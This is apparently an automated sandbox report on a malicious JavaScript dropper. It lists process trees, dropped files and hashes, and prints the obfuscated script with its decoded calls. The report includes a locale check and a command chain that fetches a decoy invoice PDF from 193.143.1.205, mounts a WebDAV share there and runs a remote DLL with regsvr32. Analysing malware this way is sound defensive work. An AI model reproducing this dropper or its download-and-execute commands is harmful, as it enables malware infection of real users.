Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
Preview:	0...u0...\...0....H........0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1..240807121815Z..240814121815Z0..~.0!.......0.E....[0...210531000001Z0!...7g...(..^`.x.l...210531000001Z0!...\./M.8..>.f.....210531000001Z0!...B.Sh...f...s.0..210531000001Z0!..../n...h..7....>..210601000001Z0!....0..>5..aN.u{D..210601000001Z0!...-...qpWa.!n.....210601000001Z0!..."f...\..N.....X..210601000001Z0!...in.H...[u...]....210602000001Z0!......`......._.]...210602000001Z0!...{..e..i......=..210602000001Z0!......S....fNj'.wy..210602000001Z0!......C.lm..B.*.....210602000001Z0!... .}...\|.,dk...+..210603000001Z0!...U.K....o.".Rj..210603000001Z0!.....A...K.ZpK..'h..210603000001Z0!.....&}{ ......l..210603000001Z0!...:.m...I.p.;..v..210604000001Z0!...1"uw3..Gou.qg.q..210607000001Z0!...1.o}...c/...-R}..210608000001Z0!................210608000001Z0!...[.N.d............210609000001Z0!......x..i........210610000001Z0!...(... (..#.^.f...210

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\DF22CF8B8C3B46C10D3D5C407561EABEB57F8181.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.501268097735403
Encrypted:	false
SSDEEP:	12:yeRLaWQMnFQlRKfdFfBy6T6FYoX0fH8PkwWWOxPLA3jw/fQMlNdP8LOUa:y2GWnSKfdtw46FYfP1icPLHCfa
MD5:	5274D23C3AB7C3D5A4F3F86D4249A545
SHA1:	8A3778F5083169B281B610F2036E79AEA3020192
SHA-256:	8FEF0EEC745051335467846C2F3059BD450048E744D83EBE6B7FD7179A5E5F97
SHA-512:	FC3E30422A35A78C93EDB2DAD6FAF02058FC37099E9CACD639A079DF70E650FEC635CF7592FFB069F23E90B47B0D7CF3518166848494A35AF1E10B50BB177574
Malicious:	false
Preview:	0...0.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G4..240806194648Z..240827194648Z.00.0...U.#..0.......q]dL..g?....O0...U........0....H.............vz..@.Nm...6d...t;.Jx?....6...p...#.[.......o.q...;.........?......o...^p0R.......~....)....i.n;A.n.z..O~..%=..s..W.4.+........G...*..=....xen$_i"s..\...L..4../<.4...G.....L...c..k@.J.rC.4h.c.ck./.Q-r53..a#.8#......0.n......a.-'..S. .>..xAKo.k.....;.D>....sb '<..-o.KE...X!i.].c.....o~.q........D...`....N... W:{.3......a@....i....#./..eQ...e.......W.s..V:.38..U.H{.>.....#....?{.....bYAk'b0on..Gb..-..).."q2GO<S.C...FsY!D....x..]4.....X....Y...Rj.....I.96$.4ZQ&..$,hC..H.%..hE....

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (19488), with CRLF line terminators
Entropy (8bit):	4.914333702917581
TrID:
File name:	24283946104055016.js
File size:	23'112 bytes
MD5:	58fd3dfbdea59f73a9dbefd05ff34ea6
SHA1:	db31e895c1d525c92196bb2f366d17d712c664dd
SHA256:	2c466302afe340136de124e93ff85874137252248e1137622146c4df84741f4a
SHA512:	68fbf05d7b11a773abcf7af77daaa6febf972a8a6fcedaec8f47dd0ad9bbb24fb668f8e42e9519ebb26aebc30a8649117bd8670cd99f2294cf0bf6a1e01f864b
SSDEEP:	384:ibBeRNPWdSsg1pbbx2+GW90kaYsgGPLgtxTaf76n6vG/cV2MdRCfSDjkVG07tiKd:WGPlabG/cxwSsVG07tiKqZuRbRGZzoIg
TLSH:	1CA26484CC087D67ECE89075E6E708CF277888CC89F411AB2946E5563D1EE7219EDA7C
File Content Preview:	function htwohh(){nrjpuda=[1031,3079,5127,4103,2055,3072];var ocxrt=this[sehoip+uyvpgkhn+unyqdwpku+jwnggy+vfhobyxdv+dkpfhu+ncvfnqkh+lzqgpctim](this[buoyq+xmvocv+rkikdqtfc+unyqdwpku+skouu+sehoip+lzqgpctim][hkyje+unyqdwpku+vfhobyxdv+uyvpgkhn+lzqgpctim+vfhob

File Icon


Icon Hash:	68d69b8bb6aa9a86

Target ID:	0
Start time:	02:40:49
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\24283946104055016.js"
Imagebase:	0x7ff628300000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:40:50
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll
Imagebase:	0x7ff7b7590000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:40:50
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	02:40:50
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:40:57
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	02:40:57
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7b7590000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:40:58
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff753450000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:40:58
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	02:40:58
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	02:40:58
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1604,i,2701009182133815951,15335121938958958030,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function htwohh() {	htwohh() ➔ undefined
1	nrjpuda = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ocxrt = this[sehoip + uyvpgkhn + unyqdwpku + jwnggy + vfhobyxdv + dkpfhu + ncvfnqkh + lzqgpctim] ( this[buoyq + xmvocv + rkikdqtfc + unyqdwpku + skouu + sehoip + lzqgpctim][hkyje + unyqdwpku + vfhobyxdv + uyvpgkhn + lzqgpctim + vfhobyxdv + rwtmqa + pzvanqli + hqvrvfud + vfhobyxdv + rkikdqtfc + lzqgpctim] ( buoyq + xmvocv + rkikdqtfc + unyqdwpku + skouu + sehoip + lzqgpctim + wcjygeijc + xmvocv + uubskt + vfhobyxdv + muqnira + muqnira ) [oayrye + vfhobyxdv + vzlgsduns + oayrye + vfhobyxdv + uyvpgkhn + iogmyu] ( llwctgth + ctuijexe + jrxgxgems + iiclgyun + zpgebe + hkyje + rdvbclca + oayrye + oayrye + jrxgxgems + lyjmv + chlxqnfz + zpgebe + rdvbclca + xmvocv + jrxgxgems + oayrye + nrigti + hkyje + eadfv + ncvfnqkh + lzqgpctim + unyqdwpku + eadfv + muqnira + daonqkfw + yhkujolu + uyvpgkhn + ncvfnqkh + vfhobyxdv + muqnira + nrigti + dkpfhu + ncvfnqkh + lzqgpctim + vfhobyxdv + unyqdwpku + ncvfnqkh + uyvpgkhn + lzqgpctim + skouu + eadfv + ncvfnqkh + uyvpgkhn + muqnira + nrigti + lvqzhtx + eadfv + rkikdqtfc + uyvpgkhn + muqnira + vfhobyxdv ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( vtsogw = 0 ; vtsogw < nrjpuda[muqnira + vfhobyxdv + ncvfnqkh + vzlgsduns + lzqgpctim + uubskt] ; ++ vtsogw )
4	{
5	if ( ocxrt == nrjpuda[vtsogw] )
6	{
7	ocxrt = true;
8	break ;
9	}
10	}
11	if ( ocxrt !== true )
12	this[buoyq + xmvocv + rkikdqtfc + unyqdwpku + skouu + sehoip + lzqgpctim][kltohdcv + ltfpkkmf + skouu + lzqgpctim] ( );
13	this[buoyq + xmvocv + rkikdqtfc + unyqdwpku + skouu + sehoip + lzqgpctim][hkyje + unyqdwpku + vfhobyxdv + uyvpgkhn + lzqgpctim + vfhobyxdv + rwtmqa + pzvanqli + hqvrvfud + vfhobyxdv + rkikdqtfc + lzqgpctim] ( buoyq + xmvocv + rkikdqtfc + unyqdwpku + skouu + sehoip + lzqgpctim + wcjygeijc + xmvocv + uubskt + vfhobyxdv + muqnira + muqnira ) [unyqdwpku + ltfpkkmf + ncvfnqkh] ( rkikdqtfc + tiziiea + iogmyu + daonqkfw + ahmjuplfv + rkikdqtfc + daonqkfw + sehoip + eadfv + sgworzb + vfhobyxdv + unyqdwpku + jwnggy + uubskt + vfhobyxdv + muqnira + muqnira + wcjygeijc + vfhobyxdv + frmnshixz + vfhobyxdv + daonqkfw + gbrultm + hkyje + eadfv + tiziiea + tiziiea + uyvpgkhn + ncvfnqkh + iogmyu + daonqkfw + xxlscsq + dkpfhu + ncvfnqkh + qvqwkd + eadfv + giwgvrz + vfhobyxdv + gbrultm + buoyq + vfhobyxdv + pzvanqli + oayrye + vfhobyxdv + sqzgi + ltfpkkmf + vfhobyxdv + jwnggy + lzqgpctim + daonqkfw + gbrultm + rwtmqa + ltfpkkmf + lzqgpctim + ypapdww + skouu + muqnira + vfhobyxdv + daonqkfw + apbsroio + lzqgpctim + vfhobyxdv + tiziiea + sehoip + apbsroio + nrigti + skouu + ncvfnqkh + qvqwkd + eadfv + skouu + rkikdqtfc + vfhobyxdv + wcjygeijc + sehoip + iogmyu + bibbdzif + daonqkfw + uubskt + lzqgpctim + lzqgpctim + sehoip + ivewy + ahmjuplfv + ahmjuplfv + tbsiijwv + hkqxywv + adeszdb + wcjygeijc + tbsiijwv + ihddgvbum + adeszdb + wcjygeijc + tbsiijwv + wcjygeijc + xhtniorjz + uqjtofm + bwxlt + ahmjuplfv + skouu + ncvfnqkh + qvqwkd + eadfv + skouu + rkikdqtfc + vfhobyxdv + wcjygeijc + sehoip + uubskt + sehoip + xxlscsq + zubmj + zubmj + jwnggy + lzqgpctim + uyvpgkhn + unyqdwpku + lzqgpctim + daonqkfw + apbsroio + lzqgpctim + vfhobyxdv + tiziiea + sehoip + apbsroio + nrigti + skouu + ncvfnqkh + qvqwkd + eadfv + skouu + rkikdqtfc + vfhobyxdv + wcjygeijc + sehoip + iogmyu + bibbdzif + zubmj + zubmj + rkikdqtfc + tiziiea + iogmyu + daonqkfw + ahmjuplfv + rkikdqtfc + daonqkfw + ncvfnqkh + vfhobyxdv + lzqgpctim + daonqkfw + ltfpkkmf + jwnggy + vfhobyxdv + daonqkfw + nrigti + nrigti + tbsiijwv + hkqxywv + adeszdb + wcjygeijc + tbsiijwv + ihddgvbum + adeszdb + wcjygeijc + tbsiijwv + wcjygeijc + xhtniorjz + uqjtofm + bwxlt + lalrcxeu + hwvig + hwvig + hwvig + hwvig + nrigti + iogmyu + uyvpgkhn + qvqwkd + sgworzb + sgworzb + sgworzb + unyqdwpku + eadfv + eadfv + lzqgpctim + nrigti + zubmj + zubmj + rkikdqtfc + tiziiea + iogmyu + daonqkfw + ahmjuplfv + rkikdqtfc + daonqkfw + unyqdwpku + vfhobyxdv + vzlgsduns + jwnggy + qvqwkd + unyqdwpku + adeszdb + xhtniorjz + daonqkfw + ahmjuplfv + jwnggy + daonqkfw + nrigti + nrigti + tbsiijwv + hkqxywv + adeszdb + wcjygeijc + tbsiijwv + ihddgvbum + adeszdb + wcjygeijc + tbsiijwv + wcjygeijc + xhtniorjz + uqjtofm + bwxlt + lalrcxeu + hwvig + hwvig + hwvig + hwvig + nrigti + iogmyu + uyvpgkhn + qvqwkd + sgworzb + sgworzb + sgworzb + unyqdwpku + eadfv + eadfv + lzqgpctim + nrigti + xhtniorjz + tbsiijwv + hwvig + hkqxywv + xhtniorjz + adeszdb + hwvig + hwvig + uqjtofm + xhtniorjz + dlmlxwk + dlmlxwk + adeszdb + xhtniorjz + wcjygeijc + iogmyu + muqnira + muqnira, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21892388027732.dll",0,false) ➔ 0
14	}
15	ltfpkkmf = "H";
16	ltfpkkmf = "J";
17	ltfpkkmf = "V";
18	ltfpkkmf = "M";
19	ltfpkkmf = "R";
20	ltfpkkmf = "T";
21	ltfpkkmf = "h";
22	ltfpkkmf = "Z";
23	ltfpkkmf = "b";
24	ltfpkkmf = "B";
25	ltfpkkmf = "L";
26	ltfpkkmf = "w";
27	ltfpkkmf = "s";
28	ltfpkkmf = "m";
29	ltfpkkmf = "R";
30	ltfpkkmf = "Y";
31	ltfpkkmf = "m";
32	ltfpkkmf = "p";
33	ltfpkkmf = "s";
34	ltfpkkmf = "F";
35	ltfpkkmf = "H";
36	ltfpkkmf = "z";
37	ltfpkkmf = "d";
38	ltfpkkmf = "j";
39	ltfpkkmf = "F";
40	ltfpkkmf = "b";
41	ltfpkkmf = "I";
42	ltfpkkmf = "T";
43	ltfpkkmf = "u";
44	rdvbclca = "W";
45	rdvbclca = "i";
46	rdvbclca = "c";
47	rdvbclca = "U";
48	xmvocv = "d";
49	xmvocv = "p";
50	xmvocv = "v";
51	xmvocv = "s";
52	xmvocv = "K";
53	xmvocv = "U";
54	xmvocv = "Z";
55	xmvocv = "t";
56	xmvocv = "J";
57	xmvocv = "H";
58	xmvocv = "p";
59	xmvocv = "e";
60	xmvocv = "J";
61	xmvocv = "r";
62	xmvocv = "a";
63	xmvocv = "Q";
64	xmvocv = "k";
65	xmvocv = "E";
66	xmvocv = "l";
67	xmvocv = "r";
68	xmvocv = "S";
69	hkyje = "j";
70	hkyje = "x";
71	hkyje = "u";
72	hkyje = "Y";
73	hkyje = "v";
74	hkyje = "y";
75	hkyje = "M";
76	hkyje = "G";
77	hkyje = "s";
78	hkyje = "I";
79	hkyje = "A";
80	hkyje = "r";
81	hkyje = "R";
82	hkyje = "c";
83	hkyje = "n";
84	hkyje = "f";
85	hkyje = "B";
86	hkyje = "F";
87	hkyje = "W";
88	hkyje = "D";
89	hkyje = "Y";
90	hkyje = "z";
91	hkyje = "u";
92	hkyje = "i";
93	hkyje = "u";
94	hkyje = "z";
95	hkyje = "i";
96	hkyje = "y";
97	hkyje = "x";
98	hkyje = "E";
99	hkyje = "y";
100	hkyje = "F";
101	hkyje = "H";
102	hkyje = "Z";
103	hkyje = "N";
104	hkyje = "i";
105	hkyje = "M";
106	hkyje = "m";
107	hkyje = "U";
108	hkyje = "q";
109	hkyje = "C";
110	uubskt = "v";
111	uubskt = "O";
112	uubskt = "W";
113	uubskt = "r";
114	uubskt = "v";
115	uubskt = "V";
116	uubskt = "h";
117	rwtmqa = "D";
118	rwtmqa = "U";
119	rwtmqa = "U";
120	rwtmqa = "r";
121	rwtmqa = "u";
122	rwtmqa = "D";
123	rwtmqa = "v";
124	rwtmqa = "z";
125	rwtmqa = "K";
126	rwtmqa = "M";
127	rwtmqa = "y";
128	rwtmqa = "I";
129	rwtmqa = "r";
130	rwtmqa = "p";
131	rwtmqa = "W";
132	rwtmqa = "l";
133	rwtmqa = "P";
134	rwtmqa = "h";
135	rwtmqa = "O";
136	chlxqnfz = "R";
137	chlxqnfz = "W";
138	chlxqnfz = "k";
139	chlxqnfz = "T";
140	lvqzhtx = "R";
141	lvqzhtx = "t";
142	lvqzhtx = "C";
143	lvqzhtx = "S";
144	lvqzhtx = "C";
145	lvqzhtx = "H";
146	lvqzhtx = "g";
147	lvqzhtx = "g";
148	lvqzhtx = "w";
149	lvqzhtx = "H";
150	lvqzhtx = "e";
151	lvqzhtx = "l";
152	lvqzhtx = "n";
153	lvqzhtx = "L";
154	kltohdcv = "e";
155	kltohdcv = "h";
156	kltohdcv = "j";
157	kltohdcv = "D";
158	kltohdcv = "q";
159	kltohdcv = "O";
160	kltohdcv = "y";
161	kltohdcv = "v";
162	kltohdcv = "v";
163	kltohdcv = "X";
164	kltohdcv = "o";
165	kltohdcv = "D";
166	kltohdcv = "P";
167	kltohdcv = "M";
168	kltohdcv = "N";
169	kltohdcv = "y";
170	kltohdcv = "c";
171	kltohdcv = "u";
172	kltohdcv = "i";
173	kltohdcv = "M";
174	kltohdcv = "S";
175	kltohdcv = "e";
176	kltohdcv = "J";
177	kltohdcv = "V";
178	kltohdcv = "Q";
179	kltohdcv = "V";
180	kltohdcv = "X";
181	kltohdcv = "F";
182	kltohdcv = "p";
183	kltohdcv = "u";
184	kltohdcv = "r";
185	kltohdcv = "z";
186	kltohdcv = "t";
187	kltohdcv = "L";
188	kltohdcv = "M";
189	kltohdcv = "q";
190	kltohdcv = "o";
191	kltohdcv = "e";
192	kltohdcv = "v";
193	kltohdcv = "g";
194	kltohdcv = "Q";
195	tiziiea = "q";
196	tiziiea = "l";
197	tiziiea = "V";
198	tiziiea = "M";
199	tiziiea = "F";
200	tiziiea = "S";
201	tiziiea = "Q";
202	tiziiea = "Z";
203	tiziiea = "Y";
204	tiziiea = "e";
205	tiziiea = "G";
206	tiziiea = "u";
207	tiziiea = "y";
208	tiziiea = "R";
209	tiziiea = "y";
210	tiziiea = "x";
211	tiziiea = "A";
212	tiziiea = "Y";
213	tiziiea = "N";
214	tiziiea = "g";
215	tiziiea = "Z";
216	tiziiea = "L";
217	tiziiea = "S";
218	tiziiea = "z";
219	tiziiea = "y";
220	tiziiea = "Z";
221	tiziiea = "M";
222	tiziiea = "m";
223	hkqxywv = "V";
224	hkqxywv = "L";
225	hkqxywv = "M";
226	hkqxywv = "P";
227	hkqxywv = "F";
228	hkqxywv = "G";
229	hkqxywv = "t";
230	hkqxywv = "v";
231	hkqxywv = "M";
232	hkqxywv = "j";
233	hkqxywv = "z";
234	hkqxywv = "q";
235	hkqxywv = "w";
236	hkqxywv = "U";
237	hkqxywv = "c";
238	hkqxywv = "A";
239	hkqxywv = "y";
240	hkqxywv = "L";
241	hkqxywv = "e";
242	hkqxywv = "B";
243	hkqxywv = "O";
244	hkqxywv = "Q";
245	hkqxywv = "S";
246	hkqxywv = "X";
247	hkqxywv = "C";
248	hkqxywv = "p";
249	hkqxywv = "z";
250	hkqxywv = "Z";
251	hkqxywv = "N";
252	hkqxywv = "h";
253	hkqxywv = "E";
254	hkqxywv = "V";
255	hkqxywv = "Y";
256	hkqxywv = "9";
257	adeszdb = "S";
258	adeszdb = "g";
259	adeszdb = "j";
260	adeszdb = "g";
261	adeszdb = "Q";
262	adeszdb = "g";
263	adeszdb = "o";
264	adeszdb = "k";
265	adeszdb = "v";
266	adeszdb = "p";
267	adeszdb = "B";
268	adeszdb = "W";
269	adeszdb = "v";
270	adeszdb = "s";
271	adeszdb = "r";
272	adeszdb = "A";
273	adeszdb = "V";
274	adeszdb = "F";
275	adeszdb = "x";
276	adeszdb = "u";
277	adeszdb = "j";
278	adeszdb = "g";
279	adeszdb = "t";
280	adeszdb = "H";
281	adeszdb = "w";
282	adeszdb = "P";
283	adeszdb = "M";
284	adeszdb = "n";
285	adeszdb = "o";
286	adeszdb = "u";
287	adeszdb = "3";
288	skouu = "V";
289	skouu = "W";
290	skouu = "X";
291	skouu = "f";
292	skouu = "I";
293	skouu = "N";
294	skouu = "T";
295	skouu = "G";
296	skouu = "h";
297	skouu = "X";
298	skouu = "c";
299	skouu = "Q";
300	skouu = "M";
301	skouu = "q";
302	skouu = "a";
303	skouu = "i";
304	giwgvrz = "D";
305	giwgvrz = "M";
306	giwgvrz = "o";
307	giwgvrz = "C";
308	giwgvrz = "l";
309	giwgvrz = "P";
310	giwgvrz = "B";
311	giwgvrz = "B";
312	giwgvrz = "H";
313	giwgvrz = "A";
314	giwgvrz = "y";
315	giwgvrz = "j";
316	giwgvrz = "d";
317	giwgvrz = "g";
318	giwgvrz = "W";
319	giwgvrz = "E";
320	giwgvrz = "k";
321	giwgvrz = "o";
322	giwgvrz = "C";
323	giwgvrz = "Q";
324	giwgvrz = "v";
325	giwgvrz = "r";
326	giwgvrz = "C";
327	giwgvrz = "k";
328	buoyq = "k";
329	buoyq = "d";
330	buoyq = "w";
331	buoyq = "O";
332	buoyq = "L";
333	buoyq = "n";
334	buoyq = "d";
335	buoyq = "r";
336	buoyq = "k";
337	buoyq = "y";
338	buoyq = "N";
339	buoyq = "m";
340	buoyq = "k";
341	buoyq = "u";
342	buoyq = "h";
343	buoyq = "i";
344	buoyq = "u";
345	buoyq = "W";
346	buoyq = "l";
347	buoyq = "D";
348	buoyq = "r";
349	buoyq = "W";
350	jrxgxgems = "J";
351	jrxgxgems = "S";
352	jrxgxgems = "T";
353	jrxgxgems = "T";
354	jrxgxgems = "o";
355	jrxgxgems = "Y";
356	jrxgxgems = "B";
357	jrxgxgems = "B";
358	jrxgxgems = "u";
359	jrxgxgems = "N";
360	jrxgxgems = "g";
361	jrxgxgems = "i";
362	jrxgxgems = "Z";
363	jrxgxgems = "U";
364	jrxgxgems = "Y";
365	jrxgxgems = "D";
366	jrxgxgems = "p";
367	jrxgxgems = "H";
368	jrxgxgems = "r";
369	jrxgxgems = "D";
370	jrxgxgems = "o";
371	jrxgxgems = "a";
372	jrxgxgems = "h";
373	jrxgxgems = "n";
374	jrxgxgems = "v";
375	jrxgxgems = "f";
376	jrxgxgems = "Z";
377	jrxgxgems = "U";
378	jrxgxgems = "y";
379	jrxgxgems = "c";
380	jrxgxgems = "n";
381	jrxgxgems = "Q";
382	jrxgxgems = "b";
383	jrxgxgems = "u";
384	jrxgxgems = "e";
385	jrxgxgems = "X";
386	jrxgxgems = "r";
387	jrxgxgems = "S";
388	jrxgxgems = "V";
389	jrxgxgems = "Y";
390	jrxgxgems = "H";
391	jrxgxgems = "t";
392	jrxgxgems = "J";
393	jrxgxgems = "L";
394	jrxgxgems = "E";
395	ypapdww = "S";
396	ypapdww = "o";
397	ypapdww = "t";
398	ypapdww = "n";
399	ypapdww = "W";
400	ypapdww = "O";
401	ypapdww = "D";
402	ypapdww = "j";
403	ypapdww = "r";
404	ypapdww = "K";
405	ypapdww = "d";
406	ypapdww = "F";
407	sgworzb = "u";
408	sgworzb = "L";
409	sgworzb = "e";
410	sgworzb = "R";
411	sgworzb = "x";
412	sgworzb = "V";
413	sgworzb = "O";
